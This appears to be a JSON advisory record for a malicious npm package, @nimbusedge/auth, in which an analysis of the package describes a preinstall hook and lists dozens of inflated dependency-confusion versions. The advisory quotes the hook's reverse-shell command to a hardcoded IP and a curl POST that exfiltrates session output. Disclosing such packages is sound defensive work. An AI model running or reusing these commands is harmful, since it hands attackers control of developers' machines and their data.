{"id":"MAL-2026-16132","revision":null,"records":[{"revision":"89e9cb315aa7461ca3f9d0ea979593a7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-16132","aliases":[],"title":"Malicious code in @nimbusedge/auth (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885)\npackage.json declares a `preinstall` lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202/8080` to open an interactive reverse shell to the hardcoded host 147.93.157.202 on port 8080, and pipes the shell session over plain HTTP to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` via `curl -X POST --data-binary @-`. The script executes automatically on `npm install`, giving the remote endpoint interactive command execution on the installer's machine and beaconing session output to the hardcoded URL. The package is published under the scoped name `@nimbusedge/auth` at version `19999.0.6` — an artificially inflated version consistent with the dependency-confusion resolution pattern, causing internal resolvers configured against the public registry to fetch this artifact in place of a private package of the same name. The mechanism is identical to install-time remote code execution and data exfiltration regardless of any self-labeling in the package metadata.\n","state":0,"publishedAt":"2026-09-11T17:49:23+00:00","modifiedAt":"2026-09-11T18:45:05.087113+00:00","affected":[{"ecosystem":"npm","name":"@nimbusedge/auth","ranges":[],"versions":["19999.1359.6","19999.0.4","19999.1337.7","19999.0.7","19999.1359.5","19999.1338.1","19999.1359.3","19999.1338.5","19999.1338.3","19999.1337.6","19999.1339.4","19999.1359.2","19999.1339.1","19999.1339.3","19999.1338.4","19999.0.5","19999.1360.4","19999.1337.5","19999.1339.2","19999.1338.7","19999.1359.4","19999.0.3","19999.1337.1","19999.0.2","19999.1360.5","19999.1360.3","19999.1338.6","19999.1337.4","19999.1338.8","19999.1359.1","19999.1339.5","19999.1360.2","19999.1337.2","19999.1337.8","19999.0.1","19999.1349.5","221.1.0","19999.0.6","19999.1360.1","19999.1338.2"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.6","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.4","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.7","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.7","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.5","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.1","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.3","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.5","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.3","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.6","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1339.4","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.2","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1339.1","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1339.3","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.4","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.5","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1360.4","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.5","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1339.2","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.7","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.4","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.3","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.1","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.2","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1360.5","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1360.3","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.6","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.4","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.8","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1359.1","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1339.5","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1360.2","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.2","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1337.8","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.1","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1349.5","https://www.npmjs.com/package/@nimbusedge/auth/v/221.1.0","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.0.6","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1360.1","https://www.npmjs.com/package/@nimbusedge/auth/v/19999.1338.2"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-16132","license":"OSV · upstream source license applies","key":"osv:MAL-2026-16132","identifiers":["MAL-2026-16132"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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